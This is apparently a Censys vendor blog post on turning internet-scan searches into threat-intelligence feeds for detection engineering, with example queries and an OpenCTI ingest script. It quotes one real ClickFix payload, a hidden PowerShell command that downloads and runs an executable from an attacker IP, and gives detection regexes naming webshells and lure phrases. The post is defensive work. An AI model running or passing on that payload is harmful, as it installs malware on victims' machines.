Censys is not a feed.
It’s a comprehensive, exhaustive map of the Internet. Billions of domains and certs, millions of hosts and websites. Plus threats, vulns, and an investigation toolbox. It’s accurate, real-time, and evidence-transparent.
And here’s the thing… it’s always growing. Active DNS resolution. Reputation score. New protocols and app fingerprints. I genuinely can’t keep up. It’s a convergence of the most passionate threat researchers and data engineers in the industry.
So, not a feed. It’s the most versatile dataset in cybersecurity. Useful in SOC triage, incident response, CTI, and detection engineering beyond the SIEM. Don’t forget about finding your own exposures as well.
But… what if your environment WANTS feeds?
Maybe you’ve built sophisticated, bulletproof pipelines for ingesting specifically scoped data.
I’ve previously written about detection engineering in Censys. One way you could operationalize your detections is by treating each one as its own feed, using the Collections API or webhook. This function is agnostic of your title or team. If you can conceptualize a search, you can engineer detections and do this.
Detection Engineering, try Feed Engineering. Is that a thing? I think of Censys data as the OmniFeed.
For demonstration purposes, our guiding principle will be Tyler Bohlmann’s excellent Detection Chokepoints repo. TTPs evolve, chokepoints don’t – so detections anchored there survive tool rotation and obfuscation. Given how often these explicitly involve attacker infrastructure, or exposed victim services, Censys intelligence is critical to achieving this.
We’ll start easy, letting Censys ARC do the heavy lifting. And we’ll progressively get sweatier. That’s the value of judgements and raw data in the same platform – the reputation score can be the end, or it can be just the beginning.
Important note: Censys collections are flexible. I’ve organized this as nine feeds, but it could just as easily be one or two, with a single ingest.
Censys ARC Judgements
What is Censys ARC? Our research arm, best in the biz (don’t tell them I said that). You may have seen them at Black Hat EU or a SANS event. You could also just read their public research.
What makes them uniquely capable is their unfettered access to the Censys Internet Map. Nobody on earth has the same access. When they write detections, fingerprints, or labels, it applies across the entire public internet.
Nowhere is this more clear than their curated Threats dataset. It’s a rotating cast of characters spanning botnets, C2 frameworks, phishing, cryptomining, webshells, hacktools, and more. These are often open source, the type of “off-the-shelf” tooling used by script kiddies and APTs alike. This becomes a component in the overall Reputation Score of a host as well.
Apply that to a few of our common detection chokepoints: Webshell persistence, ClickFix / fake-updates, Infostealer chains, and Renamed RMM tools.
1. ClickFix / fake-update / redirect infrastructure
host.reputation.evidence.category = "phishing_deceptive" or host.reputation.evidence.threats.threat_types = "DECEPTIVE_SERVER"2. Webshell: Confirmed web-shell detections
host.reputation.evidence.threats.threat_types = "WEBSHELL"3. General C2 frameworks and Infostealers Censys has published on before: 1, 2, 3, 4
host.services.threats.name: {"Cobalt Strike", "Adaptix C2", "Vshell", "Odyssey Stealer"}
Let Me Cook (With Training Wheels)
As I mentioned, Censys ARC intelligence can be the end, or just the beginning. What are some interesting extensions of the chokepoint feeds that I can derive with minimal massaging?
I think of this as a “second category” of Censys intelligence – still opinionated, derived labels, but function better as building blocks or hints of intent.
1. Can we find exposed ScreenConnect instances with KEV vulnerabilities, which have been observed being exploited to execute Cobalt Strike Beacon payloads? Don’t let legitimate-seeming infrastructure trick you if it’s been compromised and become part of the attack chain.
host.services.software: (vendor: "ConnectWise" or product: "ScreenConnect" or vendor: "connectwise" or product = "control")
and host.services.vulns.kev.source: {"THIRD_PARTY", "CISA"}2. Which of my assets are vulnerable to the Remote Access chokepoint? Nice Censys feature: you can prefilter the feed to just your environment! (I’ve used a few Google Cloud CIDR ranges for an example). You see any of these IPs in your alerts, you react quickly.
(host.services.labels.value = "VPN" or host.services.labels.value = "REMOTE_ACCESS")
and (
host.services.vulns.id: {"CVE-2025-0282", "CVE-2025-22457", "CVE-2024-3400", "CVE-2025-5777"}
or host.services.software.life_cycle.end_of_life = true
)
and (host.ip: "34.0.0.0/15" or host.ip: "34.2.0.0/16" or host.ip: "34.3.0.0/16" or host.ip: "34.4.0.0/14" or host.ip: "34.8.0.0/13")3. Ephemeral-tunnel and anonymized delivery infrastructure: Can we bridge the ClickFix-payload and Infostealer-delivery chokepoints? We already confirmed lure pages. Now let’s find the delivery layer: the anonymized or tunnel-hosted staging servers that hand off the payload after the lure fires. Bonus: an appearance by our friends at GreyNoise!
host.services.labels.value = "OPEN_DIRECTORY"
and (host.privacy.anonymous = true or host.privacy.proxy = true)
and (
host.services.endpoints.open_directory.files: (extension =~ "(?i)^(ps1|hta|exe|dll|vbs|bat|lnk)$")
or host.network.hosting = true
or host.greynoise.classification = "malicious"
)
Training Wheels Off, Let’s Pivot!
The six feeds so far represent thousands of hosts / DNS names / certs – lush with interesting signals. Let’s dig deeper.
1. ClickFix: Aggregating some traits from the ARC-labeled hosts, I searched for new ClickFix. I came across a pasted payload that would run a malicious Powershell command, which would download a suspicious file and even run invisibly via -w hidden flag.
powershell -w hidden -c \"md $env:TEMP\\upd -Force; cd $env:TEMP\\upd; iwr http://172.86.126[.]195/active_desktop_launcher.exe -OutFile run.exe; iwr http://172.86.126[.]195/active_desktop_render_x64.dll -OutFile active_desktop_render_x64.dll; .\\run.exe\
My query combines signals for clipboard interaction, lure language in the HTML, and other signals of suspicion.
(web.endpoints.http.body =~ "(?:navigator\\.clipboard\\.writeText|document\\.execCommand\\(['\"]copy['\"]\\))" or web.endpoints.http.body =~ "window\\.location\\.href")
and
(
web.endpoints.http.body =~ "(?i)(press win\\+r|ctrl\\+v|fake-captcha|i am not a robot|verify you are human|repair code|powershell|-w hidden|iwr http://[0-9])"
or
(web.endpoints.http.html_title =~ "(?i)(captcha|wait a moment|just a moment|checking if you are human|browser.{0,10}integrity|cloudflare.{0,15}verif)" and web.endpoints.http.html_tags: "noindex")
)2. Webshell: Some webshell patterns naturally surfaced in our previous results. Let’s search for those patterns in HTTP URIs and HTML titles.
web.endpoints.http.uri =~ "(?i)/(shell|cmd|c99|r57|wso|jspspy|b374k|alfa|p0wny|indoxploit|cmdasp|mini|webshell|bypass)\\.(php|jsp|aspx?)"
or
(web.endpoints.http.html_title =~ "(?i)(wso\\s*\\d+\\.\\d|r57\\s*shell|c99\\s*shell|b374k|p0wny|alfa\\s*shell|indoxploit|mini\\s*shell)" and not web.endpoints.http.status_code: {301, 302, 404})3. Can we identify typosquatted installer sites, malvertising lure domains, and other fake-download/infostealer delivery clusters by their cert?
host.services.cert.names =~ "(?i)(zoom|teams|notion|anydesk|chrome|firefox|slack|proton|nordvpn|malwarebytes|logitech|discord|telegram|homebrew|steam|roblox|windows)[-.][a-z0-9-]*(download|install|update|setup)"Loading Into OpenCTI
Collections, our “feed delivery” mechanism, allow for simple retrieval. A webhook push, an API fetch, or other options like integrations/SDK/MCP server.
I went with a fairly simple Python script, fetching via API, running on a cronjob.
The beautiful thing about this approach: it’s a dual-search system. The queries in the blog above build the “bucket” of assets. But when you hit the API, you can provide a second query to subdivide again if desired. More flexibility.
url = f"{CENSYS_BASE}/collections/{CENSYS_COLLECTION_ID}/search/query"
body: Dict[str, Any] = {
"query": SECOND_CENSYS_QUERY,
"page_size": min(PAGE_SIZE, LIMIT - seen),
"fields": CENSYS_FIELDS,
}
response = requests.post(url, headers=headers, json=body, timeout=60)Push to OpenCTI and bob’s your uncle. A story in five parts.
Conclusion
Now, I am but a humble product lead, not a world-class threat hunter or member of Censys ARC. These examples were quickly hacked together with Censys ARC blogs, community intelligence reports, and an LLM copilot.
The barrier to entry has never been lower to dive into our dataset, whether you’re just starting out or are deep into CTI/detection engineering. We’ve designed Collections to meet you where you are, and structured our data for all skill levels.
And bonus: you get high-fidelity feeds and actionable intel tailored specifically for your organization.
Crunch your own threat intel. Craft your own OmniFeed. Put it to the test today.
